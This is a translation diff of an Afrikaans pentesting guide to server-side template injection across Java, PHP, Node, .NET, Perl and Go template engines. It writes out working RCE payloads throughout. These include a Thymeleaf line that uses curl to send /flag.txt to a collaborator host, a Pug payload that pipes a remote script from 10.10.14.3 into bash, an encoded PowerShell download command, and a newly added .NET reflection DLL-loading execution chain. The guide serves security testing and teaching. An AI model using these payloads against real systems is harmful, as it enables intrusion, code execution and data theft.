Translated ['src/pentesting-web/ssti-server-side-template-injection/READ

src/pentesting-web/ssti-server-side-template-injection/README.md

@@ -31,7 +31,7 @@ Om Server-Side Template Injection (SSTI) te ontdek, is dit aanvanklik **fuzzing
 
 #### Identifikasiefase
 
-Die identifisering van die sjabloon-enjin behels die analise van foutboodskappe of handmatige toetsing van verskeie taalspesifieke payloads. Algemene payloads wat foute veroorsaak, sluit `${7/0}`, `{{7/0}}`, en `<%= 7/0 %>` in. Om die bediener se reaksie op wiskundige operasies te observeer, help om die spesifieke sjabloon-enjin te bepaal.
+Die identifikasie van die sjabloon-enjin behels die analise van foutboodskappe of die handmatige toetsing van verskillende taalspesifieke payloads. Algemene payloads wat foute veroorsaak, sluit `${7/0}`, `{{7/0}}`, en `<%= 7/0 %>` in. Om die bediener se reaksie op wiskundige operasies te observeer, help om die spesifieke sjabloon-enjin te bepaal.
 
 #### Identifikasie deur payloads
 
@@ -68,7 +68,7 @@ python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment
 
 ### Generies
 
-In hierdie **woordelys** kan jy **veranderlikes gedefinieer** in die omgewings van sommige van die enjin hieronder vind:
+In hierdie **woordlys** kan jy **veranderlikes gedefinieer** in die omgewings van sommige van die enjin hieronder vind:
 
 - [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt)
 - [https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt)
@@ -84,7 +84,7 @@ ${class.getResource("").getPath()}
 ${class.getResource("../../../../../index.htm").getContent()}
 // if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
 ```
-**Java - Verkry die stelsels se omgewing veranderlikes**
+**Java - Verkry die stelsel se omgewing veranderlikes**
 ```java
 ${T(java.lang.System).getenv()}
 ```
@@ -169,11 +169,11 @@ ${T(java.lang.Runtime).getRuntime().exec('calc')}
 ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
 ```
 
-Thymeleaf vereis dat hierdie uitdrukkings binne spesifieke eienskappe geplaas word. egter, _uitdrukking inlining_ word ondersteun vir ander sjabloon plekke, met sintaksis soos `[[...]]` of `[(...)]`. Dus, 'n eenvoudige SSTI toets payload kan lyk soos `[[${7*7}]]`.
+Thymeleaf vereis dat hierdie uitdrukkings binne spesifieke eienskappe geplaas word. egter, _uitdrukking inlyn_ word ondersteun vir ander sjabloon plekke, met sintaksis soos `[[...]]` of `[(...)]`. Dus, 'n eenvoudige SSTI toets payload kan lyk soos `[[${7*7}]]`.
 
-Die waarskynlikheid dat hierdie payload werk, is egter oor die algemeen laag. Thymeleaf se standaardkonfigurasie ondersteun nie dinamiese sjabloon generasie nie; sjablone moet vooraf gedefinieer wees. Ontwikkelaars sal hul eie `TemplateResolver` moet implementeer om sjablone van stringe op die vlieg te skep, wat ongewoon is.
+Die waarskynlikheid dat hierdie payload werk, is egter oor die algemeen laag. Thymeleaf se standaardkonfigurasie ondersteun nie dinamiese sjabloon generasie nie; sjablone moet vooraf gedefinieer wees. Ontwikkelaars sal hul eie `TemplateResolver` moet implementeer om sjablone van strings op die vlieg te skep, wat ongewoon is.
 
-Thymeleaf bied ook _uitdrukking preprocessing_ aan, waar uitdrukkings binne dubbele onderstrepings (`__...__`) vooraf verwerk word. Hierdie kenmerk kan benut word in die konstruksie van uitdrukkings, soos gedemonstreer in Thymeleaf se dokumentasie:
+Thymeleaf bied ook _uitdrukking voorverwerking_ aan, waar uitdrukkings binne dubbele onderstrepings (`__...__`) voorverwerk word. Hierdie funksie kan benut word in die konstruksie van uitdrukkings, soos gedemonstreer in Thymeleaf se dokumentasie:
 ```java
 #{selection.__${sel.code}__}
 ```
@@ -184,7 +184,7 @@ Overweeg die volgende kode-snippet, wat kwesbaar kan wees vir uitbuiting:
 <a th:href="@{__${path}__}" th:title="${title}">
 <a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
 ```
-Dit dui aan dat as die sjabloon enjin hierdie insette verkeerd verwerk, dit mag lei tot afstandkode-uitvoering wat toegang tot URL's soos:
+Dit dui aan dat as die sjabloon enjin hierdie insette verkeerd verwerk, dit kan lei tot afstandkode-uitvoering wat toegang tot URL's soos:
 ```
 http://localhost:8082/(7*7)
 http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
@@ -201,7 +201,7 @@ el-expression-language.md
 ```java
 *{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
 ```
-**Om filters te omseil**
+**Deur filters**
 
 Meervoudige veranderlike uitdrukkings kan gebruik word, as `${...}` nie werk nie, probeer `#{...}`, `*{...}`, `@{...}` of `~{...}`.
 
@@ -209,7 +209,7 @@ Meervoudige veranderlike uitdrukkings kan gebruik word, as `${...}` nie werk nie
 ```java
 ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
 ```
-- Pasgemaakte Skrip vir payload generasie
+- Pasgemaakte Skrip vir payload-generasie
 ```python
 #!/usr/bin/python3
 
@@ -309,9 +309,9 @@ Gerepareer deur [https://github.com/HubSpot/jinjava/pull/230](https://github.com
 
 ### Hubspot - HuBL (Java)
 
-- `{% %}` verklaring afdelers
-- `{{ }}` uitdrukking afdelers
-- `{# #}` kommentaar afdelers
+- `{% %}` verklaring afbakeners
+- `{{ }}` uitdrukking afbakeners
+- `{# #}` kommentaar afbakeners
 - `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
 - `{{'a'.toUpperCase()}}` - "A"
 - `{{'a'.concat('b')}}` - "ab"
@@ -319,7 +319,7 @@ Gerepareer deur [https://github.com/HubSpot/jinjava/pull/230](https://github.com
 - `{{request.getClass()}}` - klas com.hubspot.content.hubl.context.TemplateContextRequest
 - `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
 
-Soek vir "com.hubspot.content.hubl.context.TemplateContextRequest" en ontdek die [Jinjava project op Github](https://github.com/HubSpot/jinjava/).
+Soek vir "com.hubspot.content.hubl.context.TemplateContextRequest" en ontdek die [Jinjava projek op Github](https://github.com/HubSpot/jinjava/).
 ```java
 {{request.isDebug()}}
 //output: False
@@ -372,13 +372,13 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
 - `${{7*7}}` - 49
 - `${{request}}, ${{session}}, {{faceContext}}`
 
-Uitdrukkingstaal (EL) is 'n fundamentele kenmerk wat interaksie tussen die aanbiedingslaag (soos webbladsye) en die toepassingslogika (soos bestuurde bone) in JavaEE fasiliteer. Dit word wyd gebruik oor verskeie JavaEE-tegnologieë om hierdie kommunikasie te stroomlyn. Die sleutel JavaEE-tegnologieë wat EL benut, sluit in:
+Uitdrukkingstaal (EL) is 'n fundamentele kenmerk wat interaksie tussen die aanbiedingslaag (soos webbladsye) en die toepassingslogika (soos bestuurde bone) in JavaEE fasiliteer. Dit word wyd gebruik oor verskeie JavaEE-tegnologieë om hierdie kommunikasie te stroomlyn. Die sleutel JavaEE-tegnologieë wat EL gebruik, sluit in:
 
 - **JavaServer Faces (JSF)**: Gebruik EL om komponente in JSF-bladsye aan die ooreenstemmende agtergronddata en aksies te bind.
 - **JavaServer Pages (JSP)**: EL word in JSP gebruik om toegang te verkry tot en data binne JSP-bladsye te manipuleer, wat dit makliker maak om bladsy-elemente aan die toepassingsdata te koppel.
 - **Contexts and Dependency Injection for Java EE (CDI)**: EL integreer met CDI om naatlose interaksie tussen die weblaag en bestuurde bone te fasiliteer, wat 'n meer samehangende toepassingsstruktuur verseker.
 
-Kyk na die volgende bladsy om meer te leer oor die **uitbuiting van EL-interpretators**:
+Kyk na die volgende bladsy om meer te leer oor die **uitbuiting van EL-ontleders**:
 
 {{#ref}}
 el-expression-language.md
@@ -429,7 +429,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
 ```
 **Meer inligting**
 
-- In die Smarty afdeling van [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
+- In Smarty afdeling van [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty)
 
 ### Twig (PHP)
@@ -481,7 +481,7 @@ array("first_name" => $user.first_name)
 
 ### Plates (PHP)
 
-Plates is 'n templating engine wat inheems aan PHP is, wat inspirasie put uit Twig. Dit is egter anders as Twig, wat 'n nuwe sintaksis bekendstel, gebruik Plates inheemse PHP-kode in templates, wat dit intuïtief maak vir PHP-ontwikkelaars.
+Plates is 'n templating engine wat inheems aan PHP is, geïnspireer deur Twig. Maar, in teenstelling met Twig, wat 'n nuwe sintaksis bekendstel, maak Plates gebruik van inheemse PHP-kode in templates, wat dit intuïtief maak vir PHP-ontwikkelaars.
 
 Controller:
 ```php
@@ -498,7 +498,7 @@ Blad sjabloon:
 <h1>User Profile</h1>
 <p>Hello, <?=$this->e($name)?></p>
 ```
-Skakel sjabloon:
+Layout sjabloon:
 ```html
 <html>
 <head>
@@ -629,7 +629,7 @@ Hello {NAME}.<br/>
 
 ### Handlebars (NodeJS)
 
-Pad Traversal (meer inligting [hier](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).
+Pad Traversering (meer inligting [hier](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).
 ```bash
 curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
 ```
@@ -693,7 +693,7 @@ URLencoded:
 - `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}`
 - `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}`
 
-**Voorbeeld van bediener-kant weergawe**
+**Voorbeeld bedienerkant weergawe**
 ```javascript
 var pugjs = require("pug")
 home = pugjs.render(injected_page)
@@ -906,7 +906,7 @@ ${x}
 - `@(1+2)`
 - `@( //C#Code )`
 - `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
-- `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcgcgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
+- `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
 
 Die .NET `System.Diagnostics.Process.Start` metode kan gebruik word om enige proses op die bediener te begin en dus 'n webshell te skep. Jy kan 'n kwesbare webapp voorbeeld vind in [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
 
@@ -928,9 +928,26 @@ Die .NET `System.Diagnostics.Process.Start` metode kan gebruik word om enige pro
 
 - [https://www.w3schools.com/asp/asp_examples.asp](https://www.w3schools.com/asp/asp_examples.asp)
 
+### .Net Om beperkings te omseil
+
+Die .NET Reflection meganismes kan gebruik word om swartlys of klasse wat nie in die samestelling teenwoordig is nie, te omseil. DLL's kan tydens uitvoering gelaai word met metodes en eienskappe wat toeganklik is vanaf basiese voorwerpe.
+
+Dll's kan gelaai word met:
+
+- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))}` - vanaf die lêerstelsel.
+- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])}` - direk vanaf die versoek.
+
+Volledige opdrag uitvoering:
+```
+{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}
+```
+**Meer Inligting**
+
+- [https://efigo.pl/en/blog/cve-2024-9150/](https://efigo.pl/en/blog/cve-2024-9150/)
+
 ### Mojolicious (Perl)
 
-Alhoewel dit Perl is, gebruik dit etikette soos ERB in Ruby.
+Alhoewel dit perl is, gebruik dit etikette soos ERB in Ruby.
 
 - `<%= 7*7 %> = 49`
 - `<%= foobar %> = Error`
@@ -942,7 +959,7 @@ Alhoewel dit Perl is, gebruik dit etikette soos ERB in Ruby.
 
 In Go se sjabloon enjin kan bevestiging van sy gebruik gedoen word met spesifieke payloads:
 
-- `{{ . }}`: Ontbloot die datastruktuur invoer. Byvoorbeeld, as 'n objek met 'n `Password` attribuut oorgedra word, kan `{{ .Password }}` dit blootstel.
+- `{{ . }}`: Ontbloot die data struktuur invoer. Byvoorbeeld, as 'n objek met 'n `Password` attribuut oorgedra word, kan `{{ .Password }}` dit blootstel.
 - `{{printf "%s" "ssti" }}`: Verwag om die string "ssti" te vertoon.
 - `{{html "ssti"}}`, `{{js "ssti"}}`: Hierdie payloads behoort "ssti" terug te gee sonder om "html" of "js" by te voeg. Verdere riglyne kan in die Go dokumentasie ondersoek word [here](https://golang.org/pkg/text/template).
 
@@ -956,9 +973,9 @@ vbnet Copy code
 
 **RCE Exploitation**
 
-RCE uitbuiting verskil aansienlik tussen `html/template` en `text/template`. Die `text/template` module laat toe om enige publieke funksie direk aan te roep (met die “call” waarde), wat nie in `html/template` toegelaat word nie. Dokumentasie vir hierdie modules is beskikbaar [here for html/template](https://golang.org/pkg/html/template/) en [here for text/template](https://golang.org/pkg/text/template/).
+RCE uitbuiting verskil aansienlik tussen `html/template` en `text/template`. Die `text/template` module laat toe dat enige publieke funksie direk aangeroep word (met die “call” waarde), wat nie in `html/template` toegelaat word nie. Dokumentasie vir hierdie modules is beskikbaar [here for html/template](https://golang.org/pkg/html/template/) en [here for text/template](https://golang.org/pkg/text/template/).
 
-Vir RCE via SSTI in Go, kan objekmetodes aangeroep word. Byvoorbeeld, as die verskafde objek 'n `System` metode het wat opdragte uitvoer, kan dit soos volg uitgebuit word: `{{ .System "ls" }}`. Toegang tot die bronkode is gewoonlik nodig om dit uit te buit, soos in die gegewe voorbeeld:
+Vir RCE via SSTI in Go, kan objekmetodes aangeroep word. Byvoorbeeld, as die verskafde objek 'n `System` metode het wat opdragte uitvoer, kan dit soos `{{ .System "ls" }}` uitgebuit word. Toegang tot die bronkode is gewoonlik nodig om dit uit te buit, soos in die gegewe voorbeeld:
 ```go
 func (p Person) Secret (test string) string {
 out, _ := exec.Command(test).CombinedOutput()